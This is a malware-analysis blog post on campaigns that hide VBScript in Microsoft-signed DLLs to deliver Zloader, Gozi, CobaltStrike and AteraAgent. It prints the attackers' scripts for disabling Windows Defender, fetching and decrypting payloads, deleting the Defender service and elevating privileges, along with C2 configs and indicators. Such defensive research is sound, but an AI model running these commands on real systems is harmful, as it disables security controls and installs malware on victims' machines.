Signed DLL campaigns as a service

medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489

Jason Reaves January 11, 2022

Jason Reaves

Jan 11, 2022

.

10 min read

By: Jason Reaves and Joshua Platt

Recently an actor has begun using a technique of embedding VBScript data at the end of Microsoft signed DLLs in order to GPG decrypt and then detonate payloads. While writing up our research another article was released on this by CheckPoint[7][8] but we felt there are enough pieces from our own research that can add to the story.

This concept has been talked about before using various files and is normally referred to as ‘Polyglotting’, for example lnk files[2] and appending to PE files[1]. For these campaigns they used Microsoft signed DLLs and abused a code signing check bug in attempts to bypass security measures.

The campaigns related to Zloader have also been previously discussed[3] so we will be focusing on going over the updates and differences in the more recent campaigns.

Campaign

The campaign has multiple components but the idea is to ultimately detonate malware, the malware payloads we went over include the following:

```
AterAgent RATZloaderGoziCobaltStrike
```

As previously mentioned in the SentinelOne[3] article these campaigns still begin with fake installers, for the more recent campaigns we investigated they were using AdvancedInstaller to create the packages which would then kick off the detonation process of various components.

The follow up components will handle various setup functionality such as setting up exclusions for msiexec using VBScript code appended to Microsoft signed binaries:

```
<script LANGUAGE="VBScript">Set WshShell = CreateObject ("WScript.Shell")WshShell.run
"cmd.exe /c powershell.exe -inputformat none -outputformat none -NonInteractive -
Command Add-MpPreference -ExclusionPath '%USERPROFILE%\AppData\Roaming'",
0WshShell.run "cmd.exe /c powershell.exe -inputformat none -outputformat none -
NonInteractive -Command Add-MpPreference -ExclusionPath
'%USERPROFILE%\AppData\Roaming*'", 0WshShell.run "cmd.exe /c powershell.exe -
inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -
ExclusionPath '%USERPROFILE%\AppData\Roaming\*'", 0WshShell.run "cmd.exe /c
powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-
MpPreference -ExclusionPath 'C:\*'", 0WshShell.run "cmd.exe /c powershell.exe -
inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -
ExclusionPath 'C:\'", 0WshShell.run "cmd.exe /c powershell.exe -command Set-
MpPreference -MAPSReporting 0", 0WshShell.run "cmd.exe /c powershell.exe -command
Add-MpPreference -ExclusionProcess 'regsvr32'", 0WshShell.run "cmd.exe /c
powershell.exe -command Add-MpPreference -ExclusionProcess 'rundll32.exe'",
0WshShell.run "cmd.exe /c powershell.exe -command Add-MpPreference -ExclusionProcess
'rundll32*'", 0WshShell.run "cmd.exe /c powershell.exe -command Add-MpPreference -
ExclusionExtension '.exe'", 0WshShell.run "cmd.exe /c powershell.exe -command Add-
MpPreference -ExclusionProcess 'regsvr32*'", 0WshShell.run "cmd.exe /c powershell.exe
-command Add-MpPreference -ExclusionProcess '.dll'", 0WshShell.run "cmd.exe /c
powershell.exe -command Add-MpPreference -ExclusionProcess '*.dll'", 0WshShell.run
"cmd.exe /c powershell.exe -command Set-MpPreference -PUAProtection disable",
0WshShell.run "cmd.exe /c powershell.exe -command Set-MpPreference -
EnableControlledFolderAccess Disabled", 0WshShell.run "cmd.exe /c powershell.exe -
command Set-MpPreference -DisableRealtimeMonitoring $true", 0WshShell.run "cmd.exe /c
powershell.exe -command Set-MpPreference -DisableBehaviorMonitoring $true",
0WshShell.run "cmd.exe /c powershell.exe -command Set-MpPreference -
DisableIOAVProtection $true", 0WshShell.run "cmd.exe /c powershell.exe -command Set-
MpPreference -DisablePrivacyMode $true", 0WshShell.run "cmd.exe /c powershell.exe -
command Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true",
0WshShell.run "cmd.exe /c powershell.exe -command Set-MpPreference -
DisableArchiveScanning $true", 0WshShell.run "cmd.exe /c powershell.exe -command Set-
MpPreference -DisableIntrusionPreventionSystem $true", 0WshShell.run "cmd.exe /c
powershell.exe -command Set-MpPreference -DisableScriptScanning $true", 0WshShell.run
"cmd.exe /c powershell.exe -command Set-MpPreference -SubmitSamplesConsent 2",
0WshShell.run "cmd.exe /c powershell.exe -command Add-MpPreference -ExclusionProcess
'*.exe'", 0WshShell.run "cmd.exe /c powershell.exe -command Add-MpPreference -
ExclusionProcess 'explorer.exe'", 0WshShell.run "cmd.exe /c powershell.exe -command
Add-MpPreference -ExclusionProcess '.exe'", 0WshShell.run "cmd.exe /c powershell.exe
-command Set-MpPreference -HighThreatDefaultAction 6 -Force", 0WshShell.run "cmd.exe
/c powershell.exe -command Set-MpPreference -ModerateThreatDefaultAction 6",
0WshShell.run "cmd.exe /c powershell.exe -command Set-MpPreference -
LowThreatDefaultAction 6", 0WshShell.run "cmd.exe /c powershell.exe -command Set-
MpPreference -SevereThreatDefaultAction 6", 0WshShell.run "cmd.exe /c powershell.exe
-command Set-MpPreference -ScanScheduleDay 8", 0WshShell.run "cmd.exe /c
powershell.exe -command Add-MpPreference -ExclusionProcess 'msiexec.exe'",
0window.close()</script>
```

Along with installing GPG for powershell usage:

```
function Install-GnuPg { <# .SYNOPSIS  This function installed the GnuPg for Windows application.  It the installer file is not in  the DownloadFolderPath, the function will download the file from the Internet and then execute a silent installation. .PARAMETER  DownloadFolderPath  The folder path where you'd like to download the GnuPg for Windows installer into.$uri = '$moduleFolderPath = 'C:\Program Files\WindowsPowerShell\Modules\GnuPg'$null = New-Item -Path $moduleFolderPath -Type DirectoryInvoke-WebRequest -Uri $uri -OutFile (Join-Path -Path $moduleFolderPath -ChildPath 'GnuPg.psm1')$env:APPDATAInstall-GnuPG -DownloadFolderPath $env:APPDATAecho "START"
```

The script will also perform some interesting checks to determine the likelyhood of being in an enterprise environment:

```
$MaxIPToSendRequest = 2$UserDomain = wmic computersystem get domain$UserDomain = $UserDomain[2]$UserDomain = $UserDomain.trim()$UserPCname = $env:computername$UserPCname = $UserPCname.trim()Write-Host  'UserDomain = '$UserDomainWrite-Host  'UserPCname = '$UserPCname$Condition001 = ($UserDomain -ne $UserPCname)$Condition002 = ($UserDomain -ne "WORKGROUP")$ArpInfo  = arp -a$arr1 =$ArpInfo | select-string "192.168.(\d{1,3})(\.\d{1,3})(.)*(\w\w-){5}(\w\w)" $arr1_count= $arr1.length        #Write-Output $arr1$arr2 =$ArpInfo | select-string "10.(\d{1,3}).\d{1,3}(\.\d{1,3})(.)*(\w\w-){5}(\w\w)"         $arr2_count= $arr2.length        #Write-Output $arr2

$arr3 =$ArpInfo | select-string "172.(\d{1,3}).\d{1,3}(\.\d{1,3})(.)*(\w\w-){5}(\w\w)"
        $arr3_count= $arr3.length
        #Write-Output $arr3

                $IP_count= $arr1_count + $arr2_count + $arr3_countWrite-Host 'IP_count =' $IP_count$Condition003 = ($IP_count -ge $MaxIPToSendRequest)$Condition_All =  $Condition001 -and $Condition002 -and $Condition003
```

These checks then determine which malware will be installed, if all the conditions are met and the script is likely inside an enterprise then for this instance it will install CobaltStrike and AteraAgent RAT, if not then it will install Gozi or Zloader.

```
if ($Condition_All )
{

        $URL = ""+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname Invoke-WebRequest  -OutFile ais.bat  Invoke-WebRequest  -OutFile apiicontrast.dll Invoke-WebRequest $URL -outfile zoom2.dll.gpg  Invoke-WebRequest  -outfile zoom1.msi.gpg   }else{$URL = ""+ $IP_count + "&domain=" + $UserDomain + "&hostname=" + $UserPCname  Invoke-WebRequest  -OutFile ais.bat  Invoke-WebRequest  -OutFile apiicontrast.dll  Invoke-WebRequest $URL -outfile zoom.dll.gpg}
```

From here it begins leveraging multiple batch files in sequences to, but you may notice a number of DLL files are also being downloaded, these DLL files are normally Microsoft signed DLLs with appended VBScript code.

PE Polyglot Technique

Some of these abused DLLs have 0 detections on VirusTotal:

Screenshot from

If we look into the data on the file however we can see VBScript code has been appended to the file:

```
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
 LANGUAGE="VBScript">\r\n\r\nSet WshShell = CreateObject ("WScript.Shell")\r\nSub
Sleep (ms) \r\n  Set fso = CreateObject("Scripting.FileSystemObject") \r\n  Dim
sFilePath: sFilePath = fso.GetSpecialFolder(2) & "\\WScriptSleeper.vbs"\r\n  If Not
fso.FileExists(sFilePath) Then\r\n      Set oFile = fso.CreateTextFile(sFilePath,
True)\r\n      oFile.Write "wscript.sleep WScript.Arguments(0)"\r\n
oFile.Close\r\n  End If\r\n\r\n  Dim oShell: Set oShell =
CreateObject("WScript.Shell")\r\n  oShell.Run sFilePath & " " & ms, 0, True\r\nEnd
Sub\r\nSleep (45000)\r\nWshShell.run "cmd.exe /c PowerShell -NoProfile -
ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath
%AppData% -Password \'bibigroup\'", 0\r\nSleep (45000)\r\nWshShell.run "cmd.exe /c
zoom1.msi", 0\r\nWshShell.run "cmd.exe /c rundll32.exe zoom.dll
DllRegisterServer"\r\nWshShell.run "cmd.exe /c mode.exe",
0\r\nwindow.close()\r\n</script>
```

Prettier version of just the VBScript:

```
<script LANGUAGE="VBScript">Set WshShell = CreateObject ("WScript.Shell")Sub Sleep
(ms)   Set fso = CreateObject("Scripting.FileSystemObject")   Dim sFilePath:
sFilePath = fso.GetSpecialFolder(2) & "\WScriptSleeper.vbs"  If Not
fso.FileExists(sFilePath) Then      Set oFile = fso.CreateTextFile(sFilePath, True)
oFile.Write "wscript.sleep WScript.Arguments(0)"      oFile.Close  End If  Dim
oShell: Set oShell = CreateObject("WScript.Shell")  oShell.Run sFilePath & " " & ms,
0, TrueEnd SubSleep (45000)WshShell.run "cmd.exe /c PowerShell -NoProfile -
ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath
%AppData% -Password 'bibigroup'", 0Sleep (45000)WshShell.run "cmd.exe /c zoom1.msi",
0WshShell.run "cmd.exe /c rundll32.exe zoom.dll DllRegisterServer"WshShell.run
"cmd.exe /c mode.exe", 0window.close()</script>
```

This DLL is meant to be executed by ‘mshta.exe’ which will then decrypt and detonate files. The detonation piece will involve the usage of batch files as previously mentioned, example:

e3d7f1af2bc790cf143827d2335b594dc3d54a0f49cb61e0b8d6a2d1f0ad27cb

For this instance adminpriv is Nsudo[4] and reboos.dll is for detonating a separate DLL using the same trick with mshta.exe:

```
<script LANGUAGE="VBScript">Set WshShell = CreateObject ("WScript.Shell")WshShell.run
"cmd.exe /c rundll32.exe zoom2.dll DllRegisterServer", 0WshShell.run "cmd.exe /c
regsvr32 zoom.dll", 0window.close()</script>
```

The downloaded batch file `auto.bat` from above will leverage adminpriv which we mentioned is NSude[4]:

```
adminpriv -U:T -ShowWindowMode:Hide  sc delete  windefend
```

It will also execute other vbs code which also lines up with the previous work done by SentinelOne:

```
:UACPrompt    echo Set UAC = CreateObject^("Shell.Application"^) >
"%temp%\getadmin.vbs"    set params = %*:"="    echo UAC.ShellExecute "cmd.exe", "/c
%~s0 %params%", "", "runas", 0 >> "%temp%\getadmin.vbs""%temp%\getadmin.vbs"    del
"%temp%\getadmin.vbs"    exit /B
```

And finally we can see it detonate the code appended to the DLL using mshta:

```
start /b cmd /c C:\Windows\System32\mshta.exe %APPDATA%\apiicontrast.dll
```

The zoom file as it turns out for this instance is an AteraAgent installer:

b6280ee7d58b89b0951f08aabe64f1780887bf360e8a725e4269675398ebad65

```
Plushkinloder9@yandex.ru
```

The email associated with the Atera installer was also used for a domain registration:

```
Registry Registrant ID: reg-a6r6lkbkoh64Registrant Name: Registrant Organization:
Registrant Street: Registrant City: Registrant State/Province: Registrant Postal
Code: Registrant Country: RURegistrant Phone: Registrant Phone Ext:Registrant Fax:
Registrant Fax Ext:Registrant Email: Registry Admin ID: reg-zsnzthxfekkqAdmin Name:
Admin Organization: Admin Street: Admin City: Admin State/Province: Admin Postal
Code: Admin Country: RUAdmin Phone: Admin Phone Ext:Admin Fax: Admin Fax Ext:Admin
Email: Registry Tech ID:  reg-v8bnf870ivb6Tech Name: Tech Organization: Tech Street:
Tech City: Tech State/Province: Tech Postal Code: Tech Country: RUTech Phone: Tech
Phone Ext:Tech Fax: Tech Fax Ext:Tech Email:
```

Atleast one campaign server was still online during our research from December campaigns:

Installer campaign panel login
This is a sold service and can be linked to a crew we have previously discussed, ConfCrew[6].

Campaign stats

Campaigns began in May 2021 and go through December 2021:

Infections by month in 2021
The infections are primarily located in the US and Europe but do cover a wide range of places geographically:

Infections by geolocation

Malware Config Extraction

The Zloader is the newer version, the config is simply encrypted with RC4 using a hardcoded key which was mentioned in the article by Hasherezade previously[5]. We can abuse the NULL values in the internal configuration along with some basic knowledge of RC4 encryption to find the internal config after we first find the key:

```
config_key = re.findall('[a-z]{20,}', data)
```

After finding the key we can find the encrypted config by looking for 16 bytes chunks from the 256 byte SBOX, this would tell us the general area where the encrypted config is which then makes this a bruteable problem.

```
    if len(config_key) > 0:        #Find possible key        key = config_key[0]
#Because ARC4 is a reoccuring sbox of 256 bytes        #We can possible find the
encrypted config by looking for any 16 byte        # sequence from a null encrypted
block        temp = '\x00'*256        rc4 = ARC4.new(key)        needle =
rc4.encrypt(temp)        offsets = []        for i in range(256/16):            if
needle[i*16:(i+1)*16] in data:                offsets.append(data.find(needle[i*16:
(i+1)*16]))        if len(offsets) > 0:            #Take first occurrence
off = min(offsets)            #Create bruteable space            blob = data[off-
(1024*4):off+(1024*4)]
```

Now we just brute until we find a known plaintext string:

```
            for i in range(len(blob)):                rc4 = ARC4.new(key)
test = rc4.decrypt(blob[i:])                if ' in test or ' in test:
print("Found it")                    print(test)                    break
```

Zloader internal config:

```
CAMPAIGN: vasja

C2: C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504
```

And pivoting on the C2 key we can find lots of campaigns by this actor:

CAMPAIGN: personal

C2: https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: googleaktualizacija

C2: https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: buldog

C2: https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: personal

C2: https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: 9092ge

C2: https://asdfghdsajkl.com/gate.php
https://lkjhgfgsdshja.com/gate.php
https://kjdhsasghjds.com/gate.php
https://kdjwhqejqwij.com/gate.php
https://iasudjghnasd.com/gate.php
https://daksjuggdhwa.com/gate.php
https://dkisuaggdjhna.com/gate.php
https://eiqwuggejqw.com/gate.php
https://dquggwjhdmq.com/gate.php
https://djshggadasj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: googleaktualizacija

C2: https://iqowijsdakm.com/gate.php
https://wiewjdmkfjn.com/gate.php
https://dksaoidiakjd.com/gate.php
https://iweuiqjdakjd.com/gate.php
https://yuidskadjna.com/gate.php
https://olksmadnbdj.com/gate.php
https://odsakmdfnbs.com/gate.php
https://odsakjmdnhsaj.com/gate.php
https://odjdnhsaj.com/gate.php
https://odoishsaj.com/gate.php
C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CAMPAIGN: tim

C2: C2_KEY: 03d5ae30a0bd934a23b6a7f0756aa504

CobaltStrike was also found to be leveraged by this actor for enterprise environments:


```
{'SPAWNTO_X64': '%windir%\\sysnative\\dllhost.exe', 'SLEEPTIME': '45000',
'C2_VERB_GET': 'GET', 'ProcInject_Execute':
'\x06\x00B\x00\x00\x00\x06ntdll\x00\x00\x00\x00\x13RtlUserThreadStart\x00\x01\x08\x03\
 'HostHeader': '', 'ProcInject_MinAllocSize': '17500', 'MAXGET': '1403644',
'KillDate': '0', 'PORT': '443', 'UsesCookies': '1', 'WATERMARK': '0', 'C2_REQUEST': "
[('_HEADER', 0, 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('_HEADER', 0,
'Referer: ), ('_HEADER', 0, 'Accept-Encoding: gzip, deflate'), ('BUILD',
('BASE64URL',)), ('HEADER', 0, 'Cookie')]", 'UNKNOWN58': '\x05\x80', 'CRYPTO_sCHEME':
'0', 'ITTER': '37', 'C2_CHUNK_POST': '0', 'ObfSectionsInfo':
'\xc0\x02\x00\xb2\xb8\x03\x00\x00\xc0\x03\x00h\x92\x04\x00\x00\xa0\x04\x00p\xc0\x04\x0
 'C2_VERB_POST': 'POST', 'SPAWNTO': '', 'PROTOCOL': '8', 'PROXY_BEHAVIOR': '2',
'ProcInject_StartRWX': '4', 'ProcInject_Prepend_x86': '\x02\x90\x90',
'ProcInject_UseRWX': '32', 'DOMAINS': 'jersydok.com,/jquery-3.3.1.min.js',
'USERAGENT': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko',
'ProcInject_AllocationMethod': '1', 'C2_POSTREQ': "[('_HEADER', 0, 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('_HEADER', 0,
'Referer: ), ('_HEADER', 0, 'Accept-Encoding: gzip, deflate'), ('BUILD',
('MASK',))]", 'textSectEnd': '179186', 'bStageCleanup': '1', 'SPAWNTO_X86':
'%windir%\\syswow64\\dllhost.exe', 'ProcInject_Prepend_x64': '\x02\x90\x90',
'C2_RECOVER':
'\x04\x00\x00\x00\x01\x00\x00\x05\xf2\x00\x00\x00\x02\x00\x00\x00T\x00\x00\x00\x02\x00
 'ProcInject_Stub': '2\xcdA\xed\xf0\x81\x0c[_I\x8e\xdfG1\xccm', 'PUBKEY':
'30819f300d06092a864886f70d010101050003818d0030818902818100968954759ad659b888a090d394
 'bCFGCaution': '0', 'SUBMITURI': '/jquery-3.3.2.min.js'}
```


Gozi:


```
{    "DLL_32": {        "CONFIG_FAIL_TIMEOUT": "20",        "VER": "131353",
"UNKNOWN": "",        "DGA_COUNT": "10",        "TIMER": "0",        "CRC_HOSTS":
"google.mail.com firsone1.online kdsjdsadas.online",        "CRC_URI_EXT": ".bmp",
"CRC_URI": "/jkloll/",        "CRC_SERVERKEY": "01026655AALLKENM",        "MD5":
"1c362dcf0fe517a05952caf90ae1d992",        "CRC_SERVER": "12",        "IMPHASH":
"0d41e840891676bdaee3e54973cf5a69",        "PUB_KEY":
"f9ccfec396940a0f3ba99d0043ae8c9a5df54fde98c1596c974533e2050fbd92623d802012d8c5f007edc
        "SHA256": "5d80327decb188074a67137699e5fccdc3a8b296a931ddf20d37597cebb4d140",
"CONF_TIMEOUT": "10",        "CRC_GROUP": "9090"    }}
```


IOCs

Installer system:


```
cloudfiletehnology.comzoomdownloab.sitepornofilmspremium.comdatalystoy.comcmdadminu.co
```


Installer panel traffic Patterns:

```
/processingSetRequestBat1/?servername=/processingSetRequestBat2/?
servername=/processingSetRequestBat3/?servername=/processingSetRequestBat4/?
servername=/processingSetRequestBat5/?servername=/processingSetRequestBat6/?
servername=/processingSetRequestBot/?servername=/processingSetRequestCoba/?
servername=/processingSetRequestDownload/?servername=/processingSetRequestAtera/?
servername=
```

Gozi:

```
firsone1.onlinekdsjdsadas.online
```

Zloader:

```
eiqwuggejqw.comyuidskadjna.comiweuiqjdakjd.comodsakmdfnbs.comodjdnhsaj.comdjshggadasj.
```

CobaltStrike:

```
jersydok.com
```

References

1: http://blog.sevagas.com/?Hacking-around-HTA-files

2: https://hatching.io/blog/lnk-hta-polyglot/

3:https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/

4:https://github.com/M2Team/NSudo

5:https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf

6:https://www.sentinelone.com/labs/valak-malware-and-the-connection-to-gozi-loader-confcrew/

7:https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/

8:https://www.bleepingcomputer.com/news/security/microsoft-code-sign-check-bypassed-to-drop-zloader-malware/